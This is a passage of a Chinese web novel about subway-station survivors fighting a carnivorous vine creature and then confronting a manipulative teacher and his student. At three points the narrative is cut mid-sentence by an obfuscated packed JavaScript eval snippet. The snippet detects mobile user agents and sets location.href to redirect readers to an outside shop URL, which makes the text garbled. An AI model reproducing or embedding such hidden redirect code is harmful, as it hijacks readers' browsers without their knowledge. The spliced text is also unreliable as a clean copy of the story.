“你别特么胡说八道了，那东西智商有那么高？”眼镜男碎碎念。 “姑娘，你是不是吓出精神病了？” “我妈没精神病，她说的是真的！”小野在一旁气鼓鼓地辩解道。 “你一个小孩儿凑什么热闹？” 小野哼了一声，自顾自地说道：“我知道这东西叫什么名字。” “你知道？”老汉的表情呈现出了逗孙女的姿态。 “嗯，这个东西叫绿眼疯藤，不是植物，而是一种动物，它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573055|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠吃其他的动物为生。” “搞笑，我怎么没听说过这种动物？”眼睛男一脸不相信。 “这年头，发生什么事我都不奇怪了。”男青年说着皱着眉头拉开了衣服袖子，只见他的胳膊上有一道很深的血痕，上面的肉都被剐去了。“刚刚在外面我就觉得有什么东西往我的袖子里钻，当时太黑，我也没注意看，你们看都被剐去了一块肉。我看这小姑娘说的可能是真的。” 众人看着拿到触目惊心的血痕，都沉默了，更有一些异样的目光，在肖与楚和小野的身上来回扫。 “既然你们知道这是什么东西，为什么一开始不告诉我们？” “谁说一开始就知道了，是刚刚知道的。”小野说。 “你这小丫头口气不小。” “不可信不可信，你们要是骗我们，我们就把你们扔出去。”平头男嘀咕。 房间里陷入了短暂的沉默，刚刚外面发生的事对每个人的冲击都是巨大的，没有几个人能很快从对死亡的恐惧中回过神来。 “嘭——”巨大的声响打断了所有人的思绪，众人的身子一哆嗦。 老汉和男青年互相对视了一眼，不约而同往窗边走去。这扇窗户x拉着帘子，但只要掀开窗帘边角，就能目睹外面的情况。 老汉和男青年各自掀开帘子一角往窗外看了几秒钟，就缩回了脑袋，两人脸色阴沉。 “外面怎么了？”眼镜男问。 “姐说的没错，我看见外面有手电光，好像有人在搬东西。”男青脸色发白。 众人又沉默了。 肖与楚想亲眼确认一下，她也默默地走过去掀开窗帘一角查看。好巧不巧，刚好有一束光亮扫到了大厅天花板上。 顿时肖与楚如坠冰窟。 外面的情形比她想象的要糟糕很多，天花板上密密麻麻都是藤蔓，在光亮扫到的地方，有几个人体形状的东西从天花板上垂下来，他们不停晃动，那晃动不是因为挣扎，而是因为藤蔓正在控制他们死亡的躯体。 她一言不发地放下了帘子。 “我们该怎么办呢？难道真的要死在这里？”平头男自言自语般地说道，但他的目光却全都在肖与楚身上。 无形之中，肖与楚已经成为了这帮人的期待。但她脑子也发懵，没什么办法可想。 就在众人发愁的时候，小野神不知鬼不觉地挪到了门边。没等大家反应过来，她就猛地拉开了门。 男青年眼疾手快，一手就把小野抓了进来，嘭地推上门。 “你不要命了？”他急得面红耳赤。 小野委屈巴巴地看着男青年，说：“对不起，叔叔，我想上厕所。” “哎，这……”男青年怒色消了大半，他求助般地看向肖与楚，“姐，你这孩子……你要不带孩子去隔壁休息室解决一下？” “好的，对不起大家，我会好好教育下孩子。”肖与楚连连道歉，她穿过人群牵过小野的手，带着她一起走进了休息室，关上了门。 临关门前，肖与楚听见眼镜男骂骂咧咧说她们是在躲事儿。 肖与楚背靠着门，长长地吐了口气。说她躲事儿也没错，她又不是神仙，解决问题的办法也不会在几秒钟就冒出来。 “你有什么打算？”肖与楚问小野。 小野委屈的表情便被得意所取代，她挑了挑眉回道：“我刚刚放了个飞行器出去，马上我们就知道外面是什么情况了。” 11. 011 小野从空间囊里拿出黑色仪器，肖与楚终于看清楚了外面的情形。 天花板上的确布满绿藤，仔细看的话，一些绿藤中间还缠绕着一些白森森的骸骨。飞行器往前飞了一些距离，就出现了那些被吊着的尸体，这些尸体的衣服还耷拉在身上，那些衣服肖与楚认识，的确是和他们一起进来的同伴的衣服，尤其老太太的那件灰色毛衣很显眼。 “资料上说，绿眼疯藤的母体，可以分化出很多小的子体，刚刚抓住我们的那些是子体，天花板上这个是母体。”小野的表情很严肃，让肖与楚想起电视上小小年纪的科学怪人。 “你怎么知道这是绿眼疯藤的？” “我刚刚进来的时候，在你的镰刀上取了点样本分析。”小野看向肖与楚手里的刀，上面还有残留的汁液。“绿眼疯藤来自第1038号时空，它们在自己的时空是长不到这么大的。或许你们的时空环境特别适合它们生存，而且，张老师还提供了这么丰富的营养。” 说到这里，小野感叹道：“背叛自己的同类真是太容易了。” 飞行器飞下楼梯，来到了7号线的站台上。 站台上也了摆满物资箱，物资箱上到处覆盖藤蔓，地铁站的屏蔽门早被拆掉了，轨道上同样被物资箱和藤蔓所覆盖。飞行器飞得快，很快就在两边轨道各转了一圈，没有什么可疑的痕迹。 接着飞行器又飞到13号线站台上，它依然按照之前的轨迹搜索，这一下终于有所发现。 “你看这里。”小野指着屏幕中的门。 这是一道消防门，消防门上布满了藤蔓，但在消防门中间靠下的位置，有一团约摸大瑜伽球那么大，皱皱巴巴的东西躺在那儿，那些藤蔓正是以它为中心向四周展开。 肖与楚仔细一看，竟从中看到一张很崎岖的脸，那张脸上该有的东西都有，就是太狰狞了，让人做噩梦。 好在它没有睁开眼睛，让人的感觉还好受点。 “它睡着了。”小野低声说道，“长得这么快，它身体负荷不了，所以睡眠时间会变得很漫长，反应也会变慢。” “就是这东西杀了这么多人。”肖与楚喃喃自语。 “是啊。”小野眼睛亮晶晶，“只有杀了它，才能逃出去。” 杀它，从哪儿杀起？他们能否顺利到达消防门都是个问题，肖与楚发愁。 “怎么杀？用火烧？”肖与楚半戏谑地问道。 小野却当真了，她道：“资料中说，它不怕火。” “你有没有什么武器可以对付它呢？” “没有合适的对付它的武器。”小野涨红了脸，“虽然我想有，但是帮不上什么忙。” 肖与楚皱紧眉头，虽然知道了这个动物的来历，但从目前形势来看，想要出去，却依然是难中之难。 “这种植物还有什么其他弱点？” “弱点？”小野皱眉思考了几秒钟，摇了摇头。 肖与楚叹了口气，便暗暗下定了决心，她跟小野说了几句，便拉着她的手一起走出了门。 “大家。”一出门她就低声叫了一声。 所有人的目光集中看向她，有希冀，有担忧，还有轻蔑。 “我们必须杀出去。”肖与楚声音很低，却很清晰。 “说得轻巧，就凭我们手里的这些破铜烂铁吗？”眼镜男怼道。 肖与楚给小野使了个眼色，小野急忙把仪器里的画面调了出来。 画面中好几具尸体被吊在天花板上，她绕了一圈，把这个画面给所有人看。 “这是哪儿？”有人问。 “这就是我们刚刚进来的地方。这些尸体是我们进来的同伴，如果我们一直在这里，会跟他们是一样的结局。”肖与楚说。 众人都被这样的画面震慑住了，良久，房间里只剩下沉重的呼吸声。 “小楚，我们真的会死啊？”乔一伊几乎要哭出来了。 “会。”肖与楚冷漠而决绝，“大家都怕死，我也一样，早晚都是死，还不如现在搏一把。” 又是几秒尴尬的沉默。还是男青年最先搭话了。 “小楚姐，”他不知不觉中更改了称呼，“你想怎么弄啊？” “我们兵分两路，一路吸引那些小藤蔓的注意，一路去13号线站台，杀了它的母体。” “13号线？”男青年吃惊地瞪大了眼睛，“到那儿少说也有几百米的距离，我们……我们就这么跑过去？” “目前只能这样，跑得快的人可以毛遂自荐。” “疯了，谁能跑那么快啊。”男青年一边抱怨，一边默默地举起了手。“我去吧，哎。” 除了男青年外，没有人再举手，肖与楚留意到，坐在眼镜男旁边的，她的妻子，似乎很犹豫。 “既然没有了，就我和你还有我女儿一起去吧。” “还有我。”终于，眼镜男的老婆弱弱地说道。 “你凑什么热闹？”眼镜男质问她。 女人没看眼镜男，而是注视着肖与楚。“我以前读书的时候得过短跑冠军，这些年一直在锻炼，应该能帮上忙。” “你叫蒋思雨，对吧？”肖与楚想起来她的名字。 “嗯。”女人嘴角上扬，仿佛得到了某种肯定。 “虽然你想去没错……但是刚刚……”男青年欲言又止。 “刚刚我脚滑了，这次肯定不会犯这种错误。”蒋思雨逐渐坚定。 肖与楚又问了男青年的名字，才知道他叫张进。 有这四个人，肖与楚觉得足够了。 “其他人和这位老大哥去吸引那些藤蔓的注意吧。”肖与楚安排道。 “我不去，凭什么听你安排。”眼镜男说。 “对啊，肖与楚，那些东西是真的会杀人的。”陈斯也不乐意。 “你们不去，留在这里也是死。”肖与楚很直接。“我们可以在这里找找，做一点保护措施。” 保安室里有几个盾牌，铁叉，还有对讲机，还有各种办公物品。老汉让大家把文件夹撕开后贴在身上重要部位，以抵御藤蔓攻击，有人还自作主张给裸露的皮肤做了一层保护膜。 肖与楚把所有盾牌都给了去吸引藤蔓的人，而她们几个则留下了锋利的刀。 经过一番精心准备后，众人兵分两路从保安室溜出来了，一支队伍往左，潜入下站台的楼梯往13号线的站台；一支队伍往右，去通道吸引那些小藤蔓的注意力。 出门后，两支队伍都用微弱的光亮维持视线，同时极力避开地上那些散落的藤蔓。 肖与楚一行人不多时就摸到了楼梯口。他们还没下楼，就听到对讲机里传来了老汉的声音。 “这味儿真是越来越香了……”他在对讲里低声感叹道。 是很香，就像有人在这闭塞的空间里撒进了成吨的香料，香到让人眩晕。 “看来他这一顿吃得太好了。”小野说道。 “什么意思？” “只有吃得饱才会放这么浓的屁啊。” 肖与楚：“……” “你的意思是这味道是……？”张进语塞。 “嗯……”小野连连点头。 “别说了，我们得快点走。”肖与楚加快了步伐，一行人快速走下了楼梯。 刚落脚，又听到对讲机里传来几声叫声。 这叫声是老汉的，他们在吸引那些小藤蔓的注意力。 肖与楚咬紧牙关：“我们继续走。” “不……不行，”蒋思雨声音哆嗦，“我的脚好像被什么东西缠住了。” 众人一听头皮发紧。 肖与楚握紧刀，提着照明灯朝着蒋思雨脚上扫去，没有藤蔓，只是一根烂鞋带。 “没事，是鞋带。”肖与楚弯腰将鞋带捡起来扔在了一旁。 从楼梯口走到通往13号线的通道花了几分钟。 楼上传来的惨叫声不时灌入肖与楚的耳朵，让她宛如刀绞。有那么一瞬间，肖与楚甚至因此怀疑自己做的这个决定是否正确，是不是把其他人都害了。 但她只能马上赶走这个念头，才能继续走下去。 “马上就要进通道了，大家小心。”张进提醒道。 肖与楚回目光很谨慎地扫向四周。嗯……跟镜头里的有些不同。 肖与楚记得从镜头里看到这里时，墙上的站名不可见，但现在居然能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573056|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见隐约的汉字了。 “大家小心。” 肖与楚刚说完，就看到一根藤蔓朝她伸了过来。 被发现了！ 她挥起镰刀，手起刀落，砍断了它。 “跑！”肖与楚叫道。 听到肖与楚的喊声，张进把小野抱了起来，扛在肩上。 蒋思雨没有经验，她眼睁睁地看着一根藤蔓朝她的眼睛袭来。 “嚓——” 肖与楚一个箭步窜上前，帮她解决了麻烦。 “谢……” “别谢，把这些东西当你的老公，把你曾经不敢做的都做出来。”肖与楚说道。 蒋思雨一愣，转瞬间所有积累的愤怒和不甘都爆发了出来，她拿着铁铲猛地朝那些藤蔓砍去。 “让你找茬！让你吼！”她狠狠地发泄道。 肖与楚侧过身子，和她背靠背应付藤蔓的袭击，往前移动。 距离13号线的站台越来越近，藤蔓也变得越来越密集，仿佛地铁站里所有藤蔓都在朝着她俩扑过来。 顺着照明灯的光芒，肖与楚甚至觉得能看到那些藤蔓中隐藏着一些人脸…… “你先出去，我垫后。”肖与楚推了一把蒋思雨，蒋思雨不像她有自愈能力，她再不突出去，说不定会死在这里。 肖与楚这样想着，突然感到手心一阵钻心的疼痛。她低头一看，一根细小的藤蔓竟然直穿她的手心。 “啊……” “你没……”被推出去的蒋思雨要过来帮忙。她话还没说完，双眼突然像被摄住了一样瞪得溜圆，原本匆忙的脚步也停了下来。 肖与楚震惊得头脑发懵。 蒋思雨的身体已经被一根小臂粗的藤蔓贯穿，那根藤蔓在她身体外搅动，好像在疯狂地吸食她的一切。 “对……对不……”蒋思雨嘴唇翕动，血迹顺着她的嘴角流下来。她的目光逐渐涣散，想说什么，却怎么也说不出来。 “蒋……”肖与楚如鲠在喉。 转瞬间，蒋思雨的身体就被几株藤蔓裹挟，消失在一片密密麻麻的藤蔓之中。 目睹这一切的肖与楚再也无法忍受，她拼命挥动手中的镰刀，几乎将身边的所有藤蔓都砍断了，依然找不到蒋思雨的踪迹。 “蒋思雨！”她叫道。 除了藤蔓的沙沙声，什么声音都没有，她呆若木鸡。 “我们……我们马上就要到消防门了。” 对讲机里声音重新把肖与楚丢失的神智拉了回来。 “我马上来。” 肖与楚不顾一切往前狂奔，13号线站台就在眼前，她知道消防门的位置，就算遍体鳞伤，也一定要到达那里。 肖与楚挥刀乱砍，几乎杀红了眼，而丧失理智的她甚至没注意到有一根藤蔓正从天而降，一瞬间她的脑海变得混沌，很多记忆像雪片一样涌入她的脑海。 这些……都是什么？ 那些记忆逐渐清晰，像是电影一样在她脑海里播放。 蒋思雨和眼镜男隔三差五吵架，她不仅被言语侮辱，还挨了很多耳光； 那个小男孩在游乐园愉快地玩耍，她的妈妈就在旁边幸福地看着他。 一对小情侣在公园卿卿我我，无视旁人； 一个女孩站在地铁站台上等待着地铁的到来…… 难道这些都是别人的记忆？ 肖与楚混沌的意识里冒出这样的念头，这时她脑海里浮现出两个熟悉的人，小佳，还有张老师…… 小佳坐在教室里，认真看着讲台上，而张老师站在讲台上侃侃而谈。 …… 冲入肖与楚脑海里的记忆太多了，扰乱了她的心智，她恶心，眩晕，甚至因为看到某些记忆产生了一种与记忆共振的诡异的幸福感。 这么下去她肯定会被这些藤蔓吃掉。肖与楚拼命撑开了眼睛，她几乎是用意志力支撑拼命砍，才从无数的藤蔓中挣脱出来。 “妈妈，我马上就会杀掉它。”小野在对讲机里冲肖与楚说道。 肖与楚刚想回应点什么，但发现嘴巴似乎张不开，眼前出现了一道神奇的光亮，随后一片黑暗，所有东西都在眼前消失了。 12. 012 “奇了怪了，为什么所有东西都不见了，就剩下我们几个在这儿杵着。” 老汉点燃了一支烟，倚在墙上，他的手上身上满是藤蔓汁液和人的血迹，身边还有一张破损的盾牌。 因为过度的亢奋和紧张，老汉的手有些发抖。 “哎呦……”陈斯发出一声不合时宜的嚎叫，这声音在空荡的地铁站分外响亮。“你轻点儿。” “已经够轻了，要不然你自己来？”乔一伊语气变得冷漠了许多。 “吃了枪药了这么冲，刚刚要不是保护你，我能受伤？” 乔一伊嗤笑了一声。她嘴上不说，但心里清楚得很，刚刚陈斯为了自保，想把她推出去，只是运气不好，自己受伤了而已。 “可惜啊，那么多物资都没了。”眼镜男惋惜道。 老汉瞥了眼镜男一眼，不屑地哼了一声，才对着对讲机里嚷道：“小张，你们什么时候上来啊？” “马上……”张进气喘吁吁，“小楚……姐真沉啊，你们等等。” 几分钟后，通道尽头出现了光亮，张进背上背着尚在昏迷之中的肖与楚，身边还跟着一个小小的身影。 众人静静地听着他们的脚步声，看着他们由远及近。 到了近处，张进沉重地吐了口气，把肖与楚从肩上卸了下来，找了个舒服的姿势让她倚靠在墙上。 肖与楚眼睛紧闭着，脸上满是细小的伤痕，衣服也被撕破了，她的左手掌心还包着布条。 “小楚，你没事吧？”乔一伊见肖与楚这副狼狈模样，顾不上陈斯的伤，急忙跑了过来。 “应该没事，只是……只是晕过去了。”张进一屁股坐在了地上，累得大喘气。 乔一伊哪里放心得下，她还想说什么，小野就说话了。 “乔阿姨，你别担心，我妈不会有事的，过会儿就醒了。” “真的？” “嗯。” “小孩儿挺懂事，”老汉笑了笑，“小张，你们底下到底发生了什么事啊？为什么那些东西突然都不见了？” 张进挠了挠头：“我也不清楚，就记得当时很晕，什么都看不见，然后再清醒过来，那些东西就不见了。” “小丫头呢，你看见了什么？”老汉又问小野。 小野想了想，回答道：“我也什么都没看见。” “这就奇了怪了。”老汉掐灭了烟头，陷入了沉思。 “有什么可奇怪的，”眼镜男说，“随随便便就消失的东西还少吗？妈的，那么多物资，够吃多少个月了。” “能吃也不是你的，”老汉摇头，“物资不见了，我们出去就没办法跟那帮人交差了。” 众人沉默。 “以张老师的脾气，肯定会杀了我们。”陈斯说。 “还是等小楚姐醒了商量吧。” 肖与楚这一觉睡得很舒坦，梦到了好多好吃的，等她在美梦中睁开眼睛，立即迎上了好几个人的目光。 “我妈醒了。”小野高兴地说道。 “小楚，太好了，你终于醒了。”乔一伊握着肖与楚的手，激动之情溢于言表。“你昏过去一个小时了，怎么叫都没动静，我快担心死了。” 一个小时？原来才一个小时吗？ “小楚姐福大命大，怎么会轻易就死呢。”张进在一旁嘿嘿笑道。 肖与楚动了动身子，只感觉浑身疼痛，像是皮肤被狠狠地撕裂了一般，天灵盖也隐隐做痛。她摸了摸天灵盖，只有一团恶心的液体。 “就剩下我们几个了？”肖与楚问道。 “是啊，就剩我们7个了。”张进语气惋惜。 “我媳妇儿呢，你让她跟你下去，你怎么没保护好她？我出去了之后，怎么活下去？”眼镜男气愤地说道。 “当初做这件事可是大家都同意的，你现在来说这些，忘了自己丢下她淘逃命的事儿了？”没等肖与楚开口，老汉就反驳道。 “当初谁也不知道会死这么多人啊，”眼镜男抱着胳膊，“再说了，我们活下来了，物资没了，出去了之后，怎么跟那些人交代？他们肯定会扒了我们的皮。” “她既然能搞定这些乱七八糟的藤蔓，肯定也能搞定那些人。”乔一伊挺着熊芳反驳道。 这话说的…… 肖与楚压根就没想过该怎么对付地铁站外的那些人，她脑海里一点头绪都没有。 “大家都散开，我休息会儿，再想想办法。”肖与楚有气无力地对所有人说。 “看你能想出什么办法。”眼镜男哼了一声，就退回去靠墙坐下了。 其他人也陆续散开去，就剩下小野在肖与楚身边。她趁其他人不注意，偷偷从包里掏出了一瓶不明液体。 “喝了吧，可以快速恢复体力。” 肖与楚没有犹豫，趁着光色昏暗，她拿起瓶子就一口灌进了嘴里。 不多时，肖与楚就感觉思路变得清晰了，身体也没那么痛了。她首先想到的是炸药，把轨道上的大门炸开。 “你有炸药吗？”肖与楚问小野。 小野摇了摇头：“这种东西带着穿越时空太危险了。” 肖与楚继续思索，如果这条路行不通，就只能从小佳和张老师入手了，他的脑海里渐渐地浮现出小佳和张老师清晰的人物形象，他们俩是师生关系，从那些纷乱的记忆来看，两人还有另一层的关系，而这层关系恐怕是他们这几个人能活下去的关键。 不，或许是小佳的人性是他们活下去的关键。 肖与楚还记得早上，她不让那帮人动自己的情形，她不是坏人。 又过了半个小时，肖与楚终于理清了那些记忆的思绪，头也不那么痛了，她站起来，朝着那扇被封起来的防空门走去。其余人一见她如此，便围了过去。 “你想好怎么对付他们了吗？”陈斯问。 肖与楚懒得回答，她本就没有百分百的把握，但此时必须赌一把。走到门口后，肖与楚憋足一口气，朝着那扇放空门砸去。 “开门呐！” 众人：“……” “就……就这？”眼镜男差点气笑了。 “要不然呢，你们别愣着，赶紧帮忙敲。”肖与楚指挥道。 众人你看我，我看你，似乎都下不定决心：躲在里面还能多活点时间，出去了可就不好说了。 “哎，人终有一死，或重于泰山，或轻于鸿毛，反正我算是赚到了。”老汉说着也敲了起来。 “开！门！”张进也跟着咆哮起来。 但是外面静悄悄的，一点动静都没有，敲了十分钟依旧如此。 “这些人到底干嘛去了！”张进不耐烦。 “不知道，难道外面发生什么事了？”老汉皱眉。 “接着敲吗？”乔一伊问肖与楚。 “嗯，”肖与楚说，“我们轮流敲。” 此时在地铁站口，尖嘴猴对站内发生的事一无所知，他正骂骂咧咧地跟四五个人一起码沙袋。 肖与楚他们进去后，高温突然袭来，积雪毫无预兆地大面积消融，恐怕马上就会引发一场洪水。 张老师让他们把沙包放好，免得洪水灌到地铁站里去。 “你们手脚快点！”尖嘴猴一边干一边嚷道。 “哥，这下面不是有防空门吗？咱们还这么辛苦干什么？”黄毛精神小伙问。 “张老师说了，地铁站里面不能进水，那狗杂……”说到这里尖嘴猴猛然停下，把想说的话憋了回去。“总之，按张老师说的办，大家抓紧点。” “咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579852|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥儿几个什么受过这个气？他一个当老师的，凭什么指挥我们兄弟几个啊。” “你特么少说几句。要不你像小佳那么厉害，要不你能搞到物资，咱们现在一头不占，找个人靠不是真正常吗？” 精神小伙又不满地抱怨了几句，便埋头继续码沙袋了。 天气越来越热了，尖嘴猴大汗淋漓，他抬头看了一眼，发现积雪融化的速度在变快，脚底下不知不觉也出现了渗透过来的水痕。 不远处的活力城附楼上，张老师、小佳还有几个跟班就站在窗户边看着他们。 “张老师，我们这边差不多了。”尖嘴猴对对讲机里说。 “差不多就撤吧。”张老师说。 “好嘞。”尖嘴猴愉快地回答，关了对讲机后，他又恨恨地骂了一句，才冲大家挥了挥手，“撤吧，各位。” “终于撤了，”黄毛精神小伙直起身子，他想说点什么，又闭了嘴。“哥，你听，通道里好像有声音。” “有什么好听的。”尖嘴猴只想赶快走。 “不是，哥，好像有人在说话。”黄毛精神小伙说。 尖嘴猴急忙走下几级台阶，认真听了听，果不其然，他听到防空门发出低沉的轰轰声，有人在里面叫喊。 “哥，你看，我没说错吧。”黄毛精神小伙兴奋地说。 “别管他们了，让他们喊吧，迟早都要死在里面。”尖嘴猴说着就要走。 “万一他们真把那玩意儿杀死了呢？”精神小伙问。 尖嘴猴一愣。 * “没人。”乔一伊沮丧地垂下了脑袋。 “也不知道他们下次来是什么时候，”眼镜男语气带着一丝刻薄，“万一等我们饿死了，人家都没下来，就好笑了。” “呸，乌鸦嘴！少说两句。”老汉啐了口唾沫。 一时间地铁站里鸦雀无声，只有微弱的呼吸在跳动。 肖与楚倚着门继续琢磨，如果那些人真的不来，他们是否还有别的办法。 “要不我们分头去别的地铁出口看看吧。”她说。 “我还以为你想不到这一茬呢。”眼镜男又是奚落。 就在众人准备转头离开时，门外传来了轻微的响声。 “好像有人。”张进警惕地往后退了几步。 肖与楚也跟着紧张起来，她定定盯着紧闭的大门。没几秒钟，门果然打开了，数十双眼睛从门内外看着彼此。 “呵，你们居然真的活着。”张老师阴阴地笑着。 “是啊。”肖与楚浑身紧绷，她不是害怕张老师，而是怕在张老师身边的小佳，那个能杀人的水壶依旧挂在她身上。 张老师歪着脑袋往通道里看了看，说：“你们真的把那个怪物杀死了？” “当然了。”肖与楚脸不红心不跳。 “口说无凭。”张老师挥了挥手，示意尖嘴猴进去看看。 尖嘴猴刚想往里走，又停下了，他谄媚地看着张老师。 “张老师，万一那些东西没死怎么办？我这进去不得报废了？” “那怪物确实死了，”肖与脸上挂着笑意，“不过，张玉明老师，我还要告诉你一个坏消息。” 张老师的脸色猛地阴沉了下来。 “你怎么知道我名字？” “我不仅知道你名字，还知道你就在这条街上的林越高中教书，这位叫小佳的女孩，是你的学生。” 张老师脸色更加难看了。 “我说的坏消息你要要听吗？”肖与楚问道。 “我不想听，”张老师语气阴沉果决，“小佳，弄死他们。” 军用水壶里的水像是一条玉带一样喷薄而出，在空中分散成无数颗水滴，直朝着肖与楚和她的同伴而来。 13. 013 眼看着那些水滴逼近，肖与楚大喝了一个陌生的名字：“林子康！” 小佳手一抖。 水滴瞬间掉落在地上，像是雨滴一样在地面溅起了水花，而她内心也激荡起了层层涟漪。 “你……刚刚说什么？”小佳震惊。 “小佳，别听她的，这个人跟你一样有异能，她会读心术！”张老师煽动道。 “张玉明老师，你为人师表，居然利用你弟弟的爱慕者，一个未经世事的女高中生，做这么卑鄙的事，太无耻了。” 弟弟的爱慕者？在场的人听到这个小众词汇，表情都变得复杂起来。 “她所做的一切都是她的选择。”张玉明依然是那副冷淡的口气。“这个世道没有谁对谁错，大家都是为了活下去。” 小佳脸色苍白，浑身僵硬，她张了张嘴，却没有反驳。 “哼，”肖与楚冷哼了一声，“你弟弟林子康看到你把小佳逼成一个杀人凶手，恐怕到了阴间都不会不会放过你。” “杀人凶手？”张玉明冷哼了一声，“你别搞笑了，善良当不了饭吃，资源是有限的，只有狠得下心的人才能活下去。” 小佳眼神微动，地面上的水滴又震动了起来。 “狡辩。廉敏佳，林子康也喜欢你，你不知道吧？”肖与楚叫出了小佳的全名。 廉敏佳一怔，她的心仿佛漏跳了一拍。这个女人在说什么？林子康从未对她说过这件事，这个女人怎么会知道的？难道林子康他…… “你肯定好奇我为什么会知道这些事，不过别着急，晚点我再告诉你，我首先想跟你的老师聊聊。”那些关于林子康和张玉明的记忆像是潮水一般涌入肖与楚脑海，她不慌不忙地陈述起来。 “林子康姓林，是活力城老板林跃为的儿子，和张玉明是同母异父的兄弟，你虽然是林子康的哥哥，但在年少的时候，你们很少见面。一方面那时候你们的妈妈想要摆脱过去的生活，另一方面年少的你对这个同母异父的弟弟没有好感，你觉得他夺走了妈妈的爱。你竭力避开他们，但是人有时候却不得不低头……” 肖与楚一边说一边观察张玉明的表情，看他的脸变得愈发阴沉，她知道她都说对了。 “你的亲生父亲酗酒，没什么正经工作，你吃尽了苦头，也只能勉强维持读书的费用。而这时你发现了林子康。” “林子□□活优渥，但是爸妈生意太忙了，他又很内向，于是你便接近他，一开始你确实有一点做哥哥的心思，但是很快巨大的经济落差就让你的心思走偏了。林子康什么东西都愿意给你，钱、名牌衣服、游戏机、手机……只要他有，他毫不吝啬。而你呢，也在这种关系中找到了乐趣，反正你只需要施舍一点小小的关心，就能让林子康欢呼雀跃……” “你懂个屁，这是等价交换，他需要精神上的关心，我需要物质上的满足，我们都得到自己想要的，有什么不好？”张玉明驳斥道。 但他没留意到廉敏佳的表情发生了微妙的变化。而这种细微的变化，正是肖与楚想要的。 “也可以这么说吧。其实我觉得你也不是特别差劲的人，能依靠自己的努力当上重点高中的化学老师，至少在学历上很优秀。 你当了老师后，和林子康的关系就逐渐疏远了，因为你有了稳定收入，不需要一个还在读初中的弟弟来帮你做什么。但后来，发生了让你意想不到的事。” 在场除了几个当事人，其他人的表情都很微妙，大家似乎在等待一个结果，至于是什么结果，谁都无法预料。 张玉明恨不得把眼前这个女人撕碎，他的眼里渐渐透露出来杀气。 难道，她真会读心术？不，绝无可能，难道……真的是林子康告诉他的？可分明那日，他亲眼看见林子康被那株藤蔓…… “我不知道你怎么知道我的名字，也不知道你是从哪里了解到我弟弟。不过你用这些臆测的东西来当做事实，也太小看小佳了，她是个有判断力的人，不是我的工具。”张玉明还在挣扎。 “我也相信她是有判断力的人，不过人难免有被蒙蔽的时候。”肖与楚说话的语气越来越自信，她看到了这个结盟有崩盘的迹象。 “林子康那么信任你，可你呢，从头到尾只是把他当做一个工具，小时候你为了你的虚荣去关心他，他的爸爸没高看你一眼，但当你成为了林子康的老师，他爸爸的目光却回到了你身上，并且还跟你套起了近乎，这种关注，让你觉得很受用吧。” 张玉明的脸色越来越难看，他几乎要控制不住自己了。 “你很乐意跟林老板接触，他的社会资源丰富，也跟你们校长熟悉，为了达到你的目的，你和林子康的关系好像比以前更融洽了，他把你当大哥哥，什么都跟你说，包括他对廉敏佳的喜欢。而你也拿出了一个哥哥的姿态，跟他说现在不要考虑这些，将来考上大学了有更多时间去谈恋爱……” 外面传来轰隆隆的声音，众人的思绪从这个匪夷所思的故事中抽离了出来。 “发生什么事了？”张进犯嘀咕。 “雪化了，正涨洪呢。”尖嘴猴正听得津津有味被这突如其来的声音打断，有点意犹未尽。 “洪水？”老汉不由得重复了一句这两个字。 “放心吧，淹不到。”尖嘴猴回了一句，又笑眯眯地对肖与楚说：“姐，你继续说，我倒要看看这个人面兽心的老师，是怎么骗这个女学生的。” “哦？你这么有兴趣？”肖与楚嘴角微微勾起。 “也不是有兴趣，就是想看看张老师怎么倒台的。”尖嘴猴笑。 肖与楚不置可否地笑了笑，接着说：“学生对老师本来就有一种天然的信任，更何况这位张老师是自己喜欢的人的哥哥。只是小佳不知道，张老师本来就是一个心胸狭隘，极致利己的人，当这个世界即将走向衰败的时候，他想到的只有自己。” “在世界走向末日的前夕，张老师看到了林老板储存物资的新闻，便去找了林老板，以制作化学物来帮忙管理为由，获得了林老板的信任。” 说到这里，肖与楚叹了口气。 “这故事的走向本不应是这样。但很多事情发生得猝不及防，林老板和你们的妈妈突然消失了。林子康年纪小，不知道怎么办，只能依靠张老师你，而这时小佳也因为家人的失踪，来到了林子康身边。” “小佳和林子康从小住在一个院子里，本就是青梅竹马，只是后来林爸爸做生意，两人分贝了，到高中才重新遇见，两小无猜再次遇见，心里都萌生了懵懂的喜欢，但却从未捅破这层窗户纸。到了末日，两个人都失去了亲人，对彼此的感情也爆发了，这一次，张老师没有反对。那一天，林子康和张老师像往常一样下来地铁站取物资，却发现地铁站出现了意想不到的东西……” 